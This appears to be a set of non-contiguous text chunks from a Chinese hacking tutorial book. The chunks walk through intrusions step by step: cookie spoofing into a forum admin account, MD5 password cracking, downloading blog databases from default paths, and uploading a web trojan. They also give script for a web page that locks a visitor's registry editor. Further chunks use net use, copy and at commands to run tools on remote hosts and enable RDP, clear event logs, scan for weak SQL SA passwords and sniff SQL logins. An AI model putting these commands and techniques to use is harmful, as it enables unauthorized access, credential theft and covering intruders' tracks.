    {"text": " 工具介绍 使用工具：MyBrowser.exe。 工具说明：MyBrowser.exe 是由桂林老兵编写的集网页浏览、Cookie 获取和 SQL 注入于一体 的应用软件。  Cookies 的获取 用 MyBrowser.exe 打开 http://192.168.232.131，如图 4-111 所示。"},
    {"text": "图 4-113 注意到 MyBrowser.exe 的右上方显示的即为 Cookie 信息，本例中的完整 Cookie 为 skins=1; ASPSESSIONIDSAATBQDB=KLJBKOEAPLAJLEJELIGNPLCD;eremite=0;userpass=96E79218965E B72C92A549DD5A330112;username=syl;onlinetime=2005%2D6%2D10+%C9%CF%CE%E7+07%3A 00%3A31; addmin=10。"},
    {"text": "步骤 7 Cookie 欺骗，以管理员身份登录论坛 在图 4-113 所示的界面中，单击 Cookies 显示框左边的“设置自定义 Cookies”按钮 ，如图 4-114 所示。 图 4-114 225 黑客攻防实战详解 将 username 项改为 admin，userpass 项改为已获得的管理员前台密码，Cookies 变为 skins=1; ASPSESSIONIDSAATBQDB=KLJBKOEAPLAJLEJELIGNPLCD;eremite=0;userpass=742EFA3A2FA C92228806E142523219D9;username=admin;onlinetime=2005%2D6%2D10+%C9%CF%CE%E7+07% 3A00%3A31; addmin=10，刷新一下，如图 4-115 所示。"},
    {"text": "226 第 4 章 基于服务器软件漏洞的入侵 图 4-117 后台登录使用经 MD5 加密过的值是不行的，需要破解。 步骤 8 破解管理员后台管理密码  工具介绍 使用工具：MD5Crack.exe。 工具说明：MD5Crack 专用于 MD5 密码的破解，目前版本为 3.1 版，其运行界面如图 4-118 所示。 图 4-118  破解后台密码 打开 MD5Crack，输入获得的密文，选择使用字符集中的数字和小写字母，运行界面如图 4-119 所示。"},
    {"text": "227 黑客攻防实战详解 图 4-119 密码的破解需要耗费很多的系统资源（特别是 CPU 和内存）和很长的时间，系统资源耗费的 一个例子如图 4-120 所示。"},
    {"text": "密码明文无非是由数字、字母和特殊字符构成，因此破解密码时对各 部分比例的选择很重要，本例中已进行了一些尝试性的破解，最后做出了如上的组合选择。"},
    {"text": "图 4-120 成功破解后显示如图 4-121 所示，密码明文为 sql111。 步骤 9 使用管理员账号登录，对论坛进行修改 在后台管理界面中输入已破解的密码，如图 4-122 所示。"},
    {"text": "管理员 第一次登录后，只被允许实现一些简单的管理功能，这些管理功能不会影响论坛整体效果，在第 一次登录时所使用的密码就被称为前台密码； 在第一次登录的基础上，要求管理员再次进行登录， 到达最终的管理平台，这时使用的密码被称为后台密码。 第二次登录的入口只有管理员在前台成 功登录后才会显示给管理员，普通用户无法访问二次登录的入口。 大部分的论坛系统前后台使用 同一个管理员账号登录，也有一部分系统使用不一致的前后台账号登录。"},
    {"text": "2．问：BBS XP 论坛 5.15 版的暴库漏洞为什么有时暴库时会显示服务器内部错误？ 答：与论坛服务器配置有关，论坛服务器的设置出现问题，因此导致了部分 ASP 功能不可用， 这时将无法利用暴库漏洞。"},
    {"text": "3．问：如何加快解密速度？ 答：如下几个方面将影响到解密的速度：明文的字符组合、加密算法的选择及破解工具软件 的选择。 明文的字符组合只能通过猜测，一般破解的顺序先是全数字或全字母、然后才是其他组 合，一般密码的长度不会超过 16 位。 知道加密算法后才能有相应的解密措施。"},
    {"text": "Blog 的全名是 Web log，中 文意思是“网络日志”，后来缩写为 Blog，而博客（Blogger）就是写 Blog 的人。 实际上目前 Blog 并没有一个统一的定义，而 Blog 与 Blogger 之间也没有明确的界限，流行的“博客”大多指的是 Blog。 博客大致可以分成两种形态：一种是个人创作；"},
    {"text": "Blog 系统在给人们带来便利的同时，其自身也存在需要不断完善的地方，本节中将介绍两个 常见的 Blog 漏洞：直接下载数据库漏洞和 Cookie 欺骗漏洞。 4.4.1 直接下载数据库漏洞 直接下载数据库漏洞属于设计漏洞，允许未被授权的用户通过直接输入地址下载 Blog 系统的 数据库。"},
    {"text": "本小节中将以 Dlog 为例，介绍直接下载数据库漏洞。 1．实例：利用直接下载数据库漏洞下载 Blog 数据库 Dlog 是猪飞飞开发的一个 Blog 系统，这个系统的特点是系统资源占用小、操作简便。"},
    {"text": "漏洞描述：如果下载了 Dlog 系统配置后直接开放，而不经过任何处理，那么任何访问站点的 231 黑客攻防实战详解 终端都可以通过数据库所在的默认位置下载数据库，获取数据库内的相关信息，进而入侵 Blog 主 机。 入侵思路：下载一个 Dlog 系统，查看其结构得到数据库所在的默认位置。 通过搜索引擎寻找 存在漏洞的 Blog 主机，使用直接输入默认数据库路径的方式下载其数据库。"},
    {"text": "前后台管理账号的不同在数据库中表现为三种存储方式，第一种是前后台管理账号及相关信 息存放同一数据库中的同一张表中，这种方式管理起来比较麻烦，因此并不常用； 第二种方式是 前后台管理账号及相关信息存放在同一数据库中的不同表中； 第三种方式是前后台管理账号及相 关信息存放在不同的数据库文件中，集成了第三方管理平台的系统一般采用这种方式。 Dlog 系统的前后台管理账号及相关信息存放在了两个数据库中。 前台账号及其相关信息存放 在 blog_mdb 文件夹中，打开后如图 4-127 所示，其中包含有 Access 数据库文件 dlog_db.mdb。 图 4-127 存放前台账号及其相关信息的数据库默认存放路径为 http://Dlog 地址/blog_mdb/dlog_db.mdb。 后台账号及其相关信息存放在 eWebEditor 文件夹下的 db 文件夹中，打开后如图 4-128 所示， 其中包含有 Access 数据库文件 ewebeditor.mdb。 图 4-128 存放后台账号及其相关信息的数据库默认存放路径为 http://Dlog 地址/eWebEditor/db/ewebeditor. mdb。"},
    {"text": "获取数据库默认存放路径与 Blog 系统的版本有关，不同的 Blog 系统，甚至同一 Blog 系统的 不同版本之间都有可能不同，这里主要是为了提供一种思路。 步骤 3 根据数据库默认路径获取数据库 打开 IE，输入 http://192.168.232.131，显示如图 4-129 所示。"},
    {"text": "图 4-133 这个数据库中只有两个账号，查看一下 isad（用户的权限标识）的值，如图 4-134 所示，默认 情况下 isad=-1 的账号即为管理员前台账号。"},
    {"text": " 获取管理员后台账号信息 使用微软的 Access 数据库打开 ewebeditor.mdb，显示如图 4-135 所示。 打开表 eWebEditor_System，如图 4-136 所示。 显示的即为管理员后台账号信息，MD5 加密后的用户名密文为 4b4b8352ef2f181a，密码密文 为 75ceb2b18d060ce4。 235 黑客攻防实战详解 图 4-135 图 4-136 步骤 5 破解管理员密码  破解管理员前台密码 使用 MD5Crack 破解管理员前台密码，如图 4-137 所示。"},
    {"text": "图 4-138 破解出来的用户名为 sql。 接下来破解管理员后台账号的密码，如图 4-139 所示。 图 4-139 根据破解结果获得的管理员后台账号：用户名为 sql，密码为 sqlssn。"},
    {"text": "图 4-153 标题可以取任意的名称，这里命名为 test，单击图 4-154 中所示的图片上传按钮（由于前面的 操作，当然也可以单击其他的上传按钮） 。 单击图片上传按钮后会弹出如图 4-155 所示的对话框。"},
    {"text": "单击“浏览”按钮找到已生成的网页木马文件，如图 4-156 所示。 242 第 4 章 基于服务器软件漏洞的入侵 图 4-154 图 4-155 图 4-156 单击“确定”按钮后，网页显示如图 4-157 所示。 图 4-157 243 黑客攻防实战详解 单击“发布”按钮，上传网页木马文件，发布成功后显示如图 4-158 所示。"},
    {"text": "图 4-162 在属性页上可以获得已上传的网页木马的存放位置，本例中为 http://192.168.232.131/ uploadimg/ 200561243746506.asa。 在 IE 中输入网页木马的存放地址，打开后显示如图 4-163 所示。"},
    {"text": "以本例中的 Dlog 系统为例，如果初始化配置后没有进行对默认位置的修改，那么直接输入 http:// Blog 地址/eWebEditor/Admin_Login.asp 后，会直接显示后台的登录界面，如图 4-164 所示。"},
    {"text": "“[HKEY_CURRENT_USER\\Software\\HACK]”是要添加主键的路径，需要建立什么主键，就 把该主键的路径写下并用方括号括起来即可。 （2）添加键值项 为了在 HACK 主键下建立一个名为“NAME”，类型为“DWORD”，值为“00000000”的键 值项，在记事本中写入： REGEDIT4 [HKEY_CURRENT_USER\\Software\\HACK] \"NAME\"=dword：00000000 然后另存为 TEST2.REG 文件，双击后导入，导入结果如图 3-97 所示。"},
    {"text": "（1）删除键值项 比如要删除刚才建立的 NAME 项，同样，打开记事本，在“NAME”后面写一个减号“-”， 如下： REGEDIT4 [HKEY_CURRENT_USER\\Software\\HACK] \"NAME\"=- 然后另存为 TEST3.REG 文件，双击导入后，NAME 项即被删掉。 （2）删除主键 在“HKEY_CURRENT_USER”前键入减号“-”，如下： REGEDIT4 [-HKEY_CURRENT_USER\\Software\\HACK] 然后另存为 TEST4.REG 文件，双击导入后，HACK 主键就被删掉了。"},
    {"text": "步骤 1 执行 regedit 来打开注册表编辑器。 打开“运行”对话框，键入“regedit”命令，如图 3-98 所示。 单击“确定”按钮后，打开“注册表编辑器”窗口，如图 3-99 所示。 入侵者可以在注册表编 辑器中查看、修改注册表。"},
    {"text": "（略） 在注册表编辑器界面中单击“注册表（R）”，然后选择“连接网络注册表（C）”，如图 3-100 所示。 图 3-100 图 3-101 然后在弹出的对话框内键入远程主机的 IP 地址，如图 3-101 所示，最后单击“确定”按钮。 连接网络注册表成功后如图 3-102 所示。"},
    {"text": "如果通过双击或键入 reg 文件名执行注册表文件，不但不能把注册表信息导入注册表，反 而会被远程主机管理员发现，因为这种操作会弹出如图 3-104 所示对话框。"},
    {"text": "方法一：使用专门的注册表导入工具来实现。 方法二：使用 Windows 系统自带的命令，下面介绍方法二。  Windows 系统自带的注册表文件导入命令为 regedit /s <reg 文件>  说明：regedit 是 Windows 系统自带的命令，不用使用任何工具便可实现。 /s 参数表示不需 要询问，直接把 reg 文件导入注册表<reg 文件>。"},
    {"text": "图 3-105 3．利用网页改写注册表 相信读者一定听过这样的事情：某人的浏览器主页被设定为某某网站，当他想通过注册表修 复时，发现注册表编辑器竟然被锁住了。"},
    {"text": "REGEDIT 4 [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System] \"DisableRegistryTools\"=DWORD：00000001 其次，给出入侵者主机端网页 HTML 关键源码。 111 黑客攻防实战详解 document.applets[0].GetObject （ ） .RegWrite （ \"HKCU\\\\Software\\\\Microsoft\\\\ Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableRegistryTools\"， 1，\"REG_DWORD\"） 最后，将上面的源码插入到某个 HTML 文件中，如果有人访问该页，则他的主机的注册表编 辑器将被自动被锁上。"},
    {"text": "用记事本编辑一个.reg 文件，内容如下： REGEDIT4 [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ System] \"DisableRegistryTools\"=dword：00000000 如果要使用注册表编辑器，则双击该.reg 文件即可。 要注意的是，在“REGEDIT4”后面要空 一行，并且“REGEDIT4”中的“4”和“T”之间不能有空格。"},
    {"text": "利用*.inf 解：把下面的这段（共 6 行）代码复制到文本编辑器里，另存为.inf 文件，然后右击 选择“安装（I）”，则可以将注册表解锁。 [Version] Signature=\"$CHICAGO$\" [DefaultInstall] AddReg=My.Add.Reg; [My.Add.Reg] HKCU，\"SOFTWARE\\Microsoft\\windows\\currentversion\\policies\\system\"，\"disablere-gistrytools\"，0x00010001，\"0\" ③ 解锁方法 3。 用*.js 解：把下面的这段（共 3 行）代码复制到记事本里，另存为 jie.js，然后双击运行。 var WSHShell = WScript.CreateObject（\"WScript.Shell\"）; WSHShell.RegWrite （ \"HKCU\\\\SOFTWARE\\\\Microsoft\\\\windows\\\\currentversion\\\\policies\\\\system\\\\disablereg-istrytools\"，0，\"REG_DWORD\"）; WSHShell.Popup（\"已经解除对注册表编辑器的禁用!\"）; ④ 解锁方法 4。 利用*.vbs 解：把下面的这段（共 4 行）代码复制到文本编辑器里，另存为.vbs 文件，然后双 击运行。 Dim WSHShell Set WSHShell =CreateObject（\"WScript.Shell\"） WSHShell.RegWrite \"HKCU\\SOFTWARE\\Microsoft\\windows\\currentversion\\policies\\system\\disableregi-strytools\"， 0， \"REG_DWORD\" ⑤ 解锁方法 5。"},
    {"text": "（2）远程关机方法二 此外，还可以使用 Windows XP/2003 中的 shutdown 命令来完成远程关机。 shutdown.exe 是 Windows XP/2003 系统自带的程序，在本地就可以让远程主机重新启动、关机。 不过 Windows 2000 及以下系统是没有 shutdown.exe 这个工具的，这时候可以从 Windows XP 或 Windows 2003 的系统 文件夹下把 shutdown.exe 拷贝到 Windows 2000 的系统文件夹（一般为 C:\\WINNT\\）中，然后就可 以使用 shutdown 命令了。 shutdown.exe 的使用简单，在 MS-DOS 中敲入 shutdown 可以查看帮助。 一般只用到以下几个参数：  -s：关闭计算机（Shutdown）  -r：重新启动计算机（Reboot）  -m \\\\ip：指定被操作的远程计算机  -t xx：指定多少时间后，关闭或者重启目标计算机 需要说明的是，在 shutdown 使用之前需要与远程主机建立 IPC$连接，然后才能使用命令 “shutdown -r -m \\\\192.168.27.129 -t 00”实现远程关闭。"},
    {"text": "此时，入侵者不使用入侵工具也可以实现远程管理 Windows 系统的计算机。 比如使用 Windows 系统自带的“计算机管理”工具就可以方便地让入侵者进行账号、磁盘、服务等计算机管理。"},
    {"text": "图 3-107 114 第 3 章 基于认证的入侵 在弹出的“选择计算机”窗口中“名称”栏中填入目标主机的 IP“192.168.27.128”，然后单 击“确定”按钮，显示界面如图 3-108 所示。"},
    {"text": "值得说明的是，该用户名和密码可以和建立 IPC$连接时候使用的相同，也可以不相同，这都不会 影响以下的操作，但是这个用户一定要拥有管理员权限。"},
    {"text": "前面已经介绍过，如果入侵者能够使用管理员账号与远程主机成功建立 IPC$连接，那么他们 就可以通过 AT 命令在远程主机上执行任何命令、程序。"},
    {"text": "图 3-108 图 3-109 其中 NET START 命令用来开启服务，与之相反 NET STOP 是关闭服务的命令。 NET START 后 面跟着服务名称，表示开启什么服务。 如本例中就是开启 Telnet 服务。 步骤 2 建立 IPC$连接，把 TEL.BAT 文件 Copy 到目标主机，如图 3-110 所示。 图 3-110 步骤 3 用 Net Time 命令查看目标主机系统时间，如图 3-111 所示。"},
    {"text": "方法 3：使用工具 netsvc.exe 开启服务 netsvc 是微软公司 NT 系统中附带的一个管理工具，用于远程打开主机的服务，这种方法不需 要目标主机开启“计划任务服务” 。 （1）命令格式：NETSVC \\\\IP SVC /START （2）参数说明： “IP”为目标主机 IP “SVC”为欲开启的服务名 “/START”表示开启服务 （3）NETSVC 中的自带的说明为： NETSVC servicename \\\\computername /command servicename Name of the service computername Name of the computer to administer. /command One of the following： /query Queries the status of the service. /start Starts the service. /stop Stops the service. /pause Pauses the service. /continue Starts the paused service. /list Lists installed services （omit servicename） Example： NETSVC server \\\\joes486 /query Example： NETSVC \"Clipbook Server\" \\\\popcorn /stop Example： NETSVC alerter \\\\joes486 /pause Example： NETSVC /list \\\\joes486 如果想要开启远程主机 192.168.27.128 的“计划任务服务”，使用命令“netsvc \\\\192.168.27.128 schedule /start” ，如果想要开启 Telnet 服务就使用命令“netsvc \\\\192.168.27.128 telnet /start”，如图 3-113 所示。 图 3-113 116 第 3 章 基于认证的入侵 以上介绍的两种方式是基于命令行来开启远程主机服务，首先需要知道服务对应的英文名， 比如说“计划任务服务”的名称就是“Schedule”。 3.5.3 管理远程计算机 1．开启“计划任务”服务（Task Schedule） 。 在“计算机管理”窗口中，鼠标左键单击“服务和应用程序”前面的“加号”来展开项目， 然后在展开的项目中选择“服务” ，如图 3-114 所示。 图 3-114 右侧窗口中所列即是该远程计算机的服务列表，每个服务的具体功能可以查看它对应的“描 述”，这里不过多介绍。 在右侧窗口的“服务列表”中找到“Task Schedule”，如图 3-115 所示。 在上面这个窗口中，双击“Task Schedule”（计划任务）来打开它的设置对话框，如图 3-116 所示。 图 3-115 图 3-116 在“Task Scheduler 的属性”窗口中，把“启动类型”选择为“自动”，然后在“服务状态” 中单击“启动（S）”按钮来启动 Task Scheduler 服务。"},
    {"text": "2．开启“Telnet”服务。 在服务列表中找到“Telnet”，如图 3-117 所示。 117 黑客攻防实战详解 在图 3-117 所示的“状态”中可知 Telnet 服务并没有启动，通过双击打开 Telnet 服务的属性 窗口，按照步骤三的方法将该服务的启动类型设置为“自动” ，服务状态为“已启动”，如图 3-118 所示。"},
    {"text": "图 3-117 图 3-118 3．查看信息 在“计算机管理”中列出了一些关于系统硬件、软件、事件、日志和用户等信息，这些信息 是非常敏感的，对于主机的安全来说甚至是致命的。"},
    {"text": "需要说明的是，虽然能够成功地与远程主机建立 IPC$连接，并成功地使用“计 算机管理”连接到远程主机，但是并不是每台主机都“愿意”把这些信息告诉入侵者，或者说只 有很少部分的主机能够泄漏这些信息。"},
    {"text": "（1）事件查看器 事件查看器用来查看关于“应用程序” 、 “安全性”和“系统”这三个方面的日志，如图 3-119 所示。 图 3-119 下面说明一下每种日志的作用，Windows 系统以三种日志方式记录重要事件。  应用程序日志：应用程序日志包含由应用程序或系统程序记录的事件。"},
    {"text": "118 第 3 章 基于认证的入侵  安全日志：安全日志可以记录安全事件，如有效的和无效的登录尝试，以及与创建、打开 或删除文件等资源使用相关联的事件。"},
    {"text": "（2）删除事件查看器记录 事件查看器显示这些事件的类型：错误、警告、信息、成功审核和失败审核，查看日志是每 一个管理员必做的日常事务。"},
    {"text": "通过查看日志，管理员不仅能够得知当前系统的运行状况、健康状 态，而且能够通过登录成功或失败审核来判断出是否有入侵者尝试登录该计算机，甚至可以从这 些日志中找出入侵者的 IP。"},
    {"text": "打开计算机管理，连接网络计算机，然后在“计算机管理”中的左侧窗口中通过“系统工具” ->“事件查看器”来展开事件日志。 以清除“系统”日志为例，使用鼠标右键单击“系统”日志 图标，然后选择“清除所有事件（C）”，如图 3-120 所示。"},
    {"text": "（3）查看共享信息及共享会话 通过“计算机管理”可以查看该机的共享信息和共享会话（IPC$也属于这种会话）。 在“共享” 中可以查看该机开放的共享资源，如图 3-122 所示。 图 3-122 除了查看共享资源外，还可以通过此处来建立共享，如图 3-123 所示。"},
    {"text": "图 3-123 图 3-124 （4）查看用户和组 并不是所有的目标主机都可以被查看这个信息。 查看同一局域网内主机的成功率比较高，而 且通过这里只能查看用户和组的信息，并不能在这里进行新建用户、删除用户的管理操作，如图 3-125 所示。"},
    {"text": "3.5.4 利用远程控制软件对远程计算机进行入侵 目前网络上相关工具有很多，读者可以根据自己的喜好选用，这里只介绍远程控制任我行 v7.0。 1．简介 远程控制任我行 v7.0 是一款远程监控软件，具体功能包括：查看远程主机进程信息，并能自 由结束相应进程；"},
    {"text": "远程命令控制，包括远程关机、远程重启计算机、锁定鼠标、锁定桌面 及锁定任务栏等多项功能限制； 远程注册表操作，包括对主键的浏览、增删、复制、重命名和对 键值的读写等所有注册表操作功能；"},
    {"text": "图 3-127 步骤 5 实施入侵，根据软件的图形化界面方便地进行上节介绍的各种远程管理操作及其他控 121 黑客攻防实战详解 制操作，这里只介绍其中三项功能，其他功能读者有兴趣可以自行体验。"},
    {"text": "远程文件操作：可以将本地文件传至远程主机，也可以将远程主机上的文件下载至本地，如 图 3-128 所示。 图 3-128 远程进程察看及管理，察看远程主机当前的进程状况，并且可以对其进行管理，如图 3-129 所示。 图 3-129 远程系统信息察看，察看包括配置信息、剪贴板信息、窗体信息等远程主机系统信息，如图 3-130 所示。"},
    {"text": "① 本机和远程主机都在相同的一个局域网中（反向连接和正向连接都可以使用）。 ② 本机在局域网中，远程主机是 ADSL 直接拔号上网（请使用正向连接）。 ③ 本机是 ADSL 直接拔号上网，远程主机在局域网或者网吧（请使用反向连接）。 ④ 双方都是 ADSL 直接拔号上网（反向连接和正向连接都可以使用）。"},
    {"text": "2．问：使用“计算机管理”与目标主机连接成功，当启动“计划任务”的时候，却出现了如 图 3-131 所示的这个对话框，造成开启“计划任务”服务失败，这是什么原因呢？"},
    {"text": "已知 192.168.27.128 这台计算机的管理员账号和密码，如果不建立 IPC$连接而直接使用“计 算机管理”与之连接，在连接的时候一定会弹出要求“输入用户名和密码”的窗口，即使输入拥 有管理权限的账号和密码，单击“确定”按钮，等待连接成功后，虽然也得到 192.168.27.128 的 计算机管理界面，但是当修改“Task Schedule”的启动属性时，却发生了“拒绝访问”错误。"},
    {"text": "4．问：使用“计算机管理”与远程主机建立连接、开启“Telnet 服务”均成功，但使用 Telnet 命令无法登录远程主机，这是由于开启 Telnet 服务并未成功，还是由于其他原因造成的呢？"},
    {"text": "由于 Telnet 的功能太强大，因此微软公司在设计 Windows 2000 各版 本及 Windows XP/2003 Server 操作系统时，为了增加 Telnet 的安全性而添加了一项被称为 NTLM 的验证方式，正是这个 NTLM 验证导致非授权主机的 Telnet 登录失败。"},
    {"text": "3.6 利用远程终端服务（ 3389 ）入侵 Windows 系统 Windows NT 版本以上提供了一项特殊的服务——终端服务， 在网络上俗称 3389 服务。 有些读者可能会认为 3389 服务就是输入法漏洞，但这样认为是不对的，3389 并不一定是 有输入法漏洞，它是 Windows 的一个正常的服务而已。 只是没有打上补丁的而开的 3389（终端服 务）端口的主机，可以利用输入法漏洞来入侵。"},
    {"text": "终端服务可以在应用服务器模式或远程管理模式下在服务器上进行配置。 作为应用服务器， 终端服务提供了一种有效而可靠的方式，通过网络服务器分发基于 Windows 的程序。 在应用服务 器模式下，终端服务为可能无法正常运行 Windows 的计算机显示 Windows 2000 的桌面及目前基 于 Windows 的大多数应用程序。 在远程管理模式下使用时，终端服务提供了远程访问的能力，使 用者可以从网络上的任何地方虚拟地管理服务器。"},
    {"text": "3.6.2 远程开启远程终端服务（3389） 1．在命令行下利用 SC 开启对方终端服务 首先，判断对方是不是 Windows 2000 Server 版本，可以用 X-Scan 来查看，如图 3-132 所示。"},
    {"text": "图 3-132 124 第 3 章 基于认证的入侵 由图 3-133 可知，很明显这个主机不是 Windows 2000 Server，继续查看。 图 3-133 图 3-134 图 3-134 显示目标主机操作系统为 Windows 2000 Version 5.0，说明这个主机的操作系统是 Windows 2000 Server。"},
    {"text": "图 3-136 查看 START_TYPE 一项，显示对方该服务的启动模式为“AUTO_START”也就是“自动启 125 黑客攻防实战详解 动”，那么说明该主机的终端服务已经设置成为自动开启。 如果 START_TYPE 一项显示对方该服 务的启动模式为“Disabled”也就是“禁用”，那么需要第三步操作才可以。 步骤 3 更改对方终端服务的启动模式。 C:\\>sc \\\\192.168.0.211 config termservice start= auto，如图 3-137 所示。 图 3-137 到此为止，已经把目标主机的终端服务的启动模式修改成自动了。 步骤 4 再检查一遍对方终端服务的启动模式。"},
    {"text": "步骤 5 重启对方主机，如图 3-139 所示。 shutdown –m \\\\192.168.0.211 –r 图 3-139 2．通过远程修改注册表开启对方终端服务 首先打开注册表，连接网络注册表（前提是先跟对方建立空连接，具体方法前面已有详细介 绍），找到并改为下列的值： [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\netcache] \"Enabled\"=\"0\" [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon] \"ShutdownWithoutLogon\"=\"0\" [HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer] \"EnableAdminTSRemote\"=dword：00000001 [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server] \"TSEnabled\"=dword：00000001 [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\TermDD] \"Start\"=dword：00000002 [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\TermService] \"Start\"=dword：00000002 [HKEY_USERS\\.DEFAULT\\Keyboard Layout\\Toggle] 126 第 3 章 基于认证的入侵 \"Hotkey\"=\"1\" 接着输入：shutdown -m \\\\192.168.0.211 -r，对方主机重启后，3389 服务就被开启了。"},
    {"text": "3．利用工具开启对方终端服务 相关的工具有很多，读者有兴趣可以自己到网上搜索，这里简单介绍自动开启 Windows 2000 终端服务的傻瓜工具“djxys.exe”。 步骤 1 与对方的主机建立连接 C:\\>net use \\\\192.168.0.211 \\ipc$ \"password\" /user：\"name\" ，如图 3-140 所示。 图 3-140 步骤 2 开始上载工具 C:/ >copy djxys.exe \\\\192.168.0.211\\admin$，如图 3-141 所示。 图 3-141 步骤 3 让 dixys.exe 在对方的服务器上远程执行 C:\\ >net time \\192.168.0.211，如图 3-142 所示。 图 3-142 C:\\>at\\\\192.168.0.211 21：02 djxys.exe，如图 3-143 所示。"},
    {"text": "图 3-143 3.6.3 使用远程终端服务入侵 1．Windows 终端服务客户端 v5.1 终端服务客户端程序有很多，这里只介绍 Windows 终端服务客户端 v5.1 运行后的软件界面 127 黑客攻防实战详解 如图 3-144 所示。"},
    {"text": "图 3-144 图 3-145 保存当前设置：如图 3-145 所示，在填完计算机 IP 地址、用户名、密码之后，可以勾选“保 存密码”，以方便下次使用，或者单击“连接设置”中的“另存为”按钮来保存当前设置为*.rdp 的文件，以方便管理，这个功能在拥有较多 3389 肉鸡时是尤其有用的，如图 3-146 所示。"},
    {"text": "显示选项卡设置：选择“显示”选项卡，如图 3-147 所示，在这里可以调整远程桌面的大小， 以及颜色设置，通过个性化的调整，可以更加方便地使用远程桌面。"},
    {"text": "到此为止，入侵者可以利用熟悉的图形界面在目标主机上方便地进行各种入侵活动，不过不 要忘了做一些善后的事情，也就是留后门、清脚印等。"},
    {"text": "使用命令：C:\\>query user，如图 3-152 所示。 图 3-152 4．3389 中的快捷键 Ctrl+Alt+End，打开“Windows 安全”对话框。 Alt+Page Up，从左向右在程序之间切换。 Alt+Page Down，从右向左在程序之间切换。 Alt+Insert，按启动顺序来回切换程序。 Alt+Home，显示“开始”菜单。 Ctrl+Alt+Break，在窗口（如果适用）和全屏显示之间切换客户端。 Alt+Delete，显示窗口的弹出式菜单。 Ctrl+Alt+减号（−） ，将客户端活动窗口的快照放在“终端”服务器的剪贴板上（与在本地计 算机上按下 Alt+PrintScrn 键时的功能相同）。 Ctrl+Alt+加号（+） ，将整个客户端窗口区域的快照放在“终端”服务器的剪贴板上（与在本 地计算机上按下 PrintScreen 键时的功能相同）。"},
    {"text": "3.6.4 常见问题与解答 1．问：脚本会判断目标系统类型，如果不是 Windows 2000 Server 及以上版本，就会提示是 否要取消，为什么？ 答：因为 Windows 2000 专业版本不能安装终端服务，如果确信是脚本判断错误，就继续安装。"},
    {"text": "3.7 利用 MS SQL 入侵 MS SQL 是微软公司架设在 Windows 系统上的一款高性能、全方位服务的数据库服务器，与 微软公司的另一款数据库 Microsoft Access 相比，MS SQL 性能更好、更加专业，因而常常被大公 司用来建设庞大的数据库服务器，来提供客户查询、提交货单等服务。"},
    {"text": "3.7.1 利用 MS SQL 弱口令入侵 1．获取 MS SQL 弱口令 获得目标 MS SQL 服务器的 SA 口令有很多方法，也有很多工具，这里来介绍入侵者经常使 用的三款工具来得到 MS SQL 服务器的 SA 口令。 （1）工具一：X-Scan 首先，打开“扫描模块”，在“SQL-Server 弱口令”前打勾，如图 3-153 所示。"},
    {"text": "图 3-155 图 3-156 （2）工具二：流光 打开流光“高级扫描设置”，添入起始 IP、结束 IP，选择目标系统，在“检测项目”中选择 “SQL”，如图 3-157 所示。"},
    {"text": "勾选“对 SA 密码进行猜解”等，如图 3-158 所示。 图 3-157 图 3-158 131 黑客攻防实战详解 扫描到的结果如图 3-159 所示，得到“sa”账号的密码为空。 图 3-159 或者使用 SQL 主机扫描方式，方法如下。 流光主界面->探测（R）->扫描 POP3/FTP/NT/SQL 主机（S）或使用热键 Ctrl+R 打开“主机 扫描设置”，如图 3-160 所示。"},
    {"text": "图 3-163 132 第 3 章 基于认证的入侵 扫描结果会在右侧窗口中给出，同时还会在有弱口令的服务器中建立了用户名为 Aji，密码为 123456 的管理员权限账号。"},
    {"text": "图 3-166 （6）工具六：SQLServerSniffer 在命令行方式下使用，用于局域网中获取 SQL Server 密码的嗅探器工具，可自定义 SQL Server 133 黑客攻防实战详解 的端口。"},
    {"text": "图 3-167 当 SQLServerSniffer 启动后，该窗口属于嗅探状态，一旦嗅探到本局域网内 SQL 服务器登录 操作后，立刻把登录的账号和密码显示出来，并马上又进入嗅探状态，如图 3-168 所示。 图 3-168 虽然用来举例的 sa 密码为空，但实际上，无论获取到的 SQL 密码有多复杂，SQLServerSniffer 也一样在能够马上探测出，并且在得到一个登录密码后，SQLServerSniffer 仍然处在监听状态，直 到使用“Ctrl+C”结束 SQLServerSniffer 监听。 该 SQLServerSniffer 有一个不方便的地方，它本身不能够产生嗅探结果的报告文件，为了加 上这个功能，可以使用 DOS 命令中“>>”符号解决。 给 SQLServerSniffer 加上一个参数“>> result. txt”，表示把嗅探结果添加到 result.txt 文件中。 另外，还有一个 SQLServerSniffer 的修改版，基本功能和用法和刚才介绍的一致，但可以一 次嗅探更多的端口，并把结果保存在指定文件中。  使用方法：SQLServerSniffer.exe <SQL 服务端口列表> <结果文件>  参数说明： <SQL 服务端口列表>：用“+”来列出所要嗅探的 SQL 端口。"},
    {"text": "134 第 3 章 基于认证的入侵 <结果文件>：把嗅探到的密码保存在指定文件中，这个指定的文件事先不用建立，只要嗅探 到密码，会自动建立该文件。"},
    {"text": "图 3-169 3.7.2 入侵 MS SQL 数据库 前面介绍了入侵者通过扫描得到了 MS SQL 的管理权限认证，从理论上说，如果获得了某 SQL 服务器的管理员账号，入侵者便可以完全控制 MS SQL 服务器。 此时，入侵者可以通过 SQL 语言 修改 SQL 服务器的数据库或进入 MS SQL 数据库内获得敏感数据。"},
    {"text": "下面介绍一个远程远程管理 MS SQL 数据库的工具“SQLBrower” 。 首先打开 SQLBrower，在主界面中填入 IP、账号、密码，然后单点“Connect”按钮来连接远 程 MS SQL 服务器，如图 3-170 所示。 通过工具 SQLBrower 直接入侵 MS SQL 服务器需要入侵者 对 SQL 有一定的了解，才能查看、修改、添加该数据库。"},
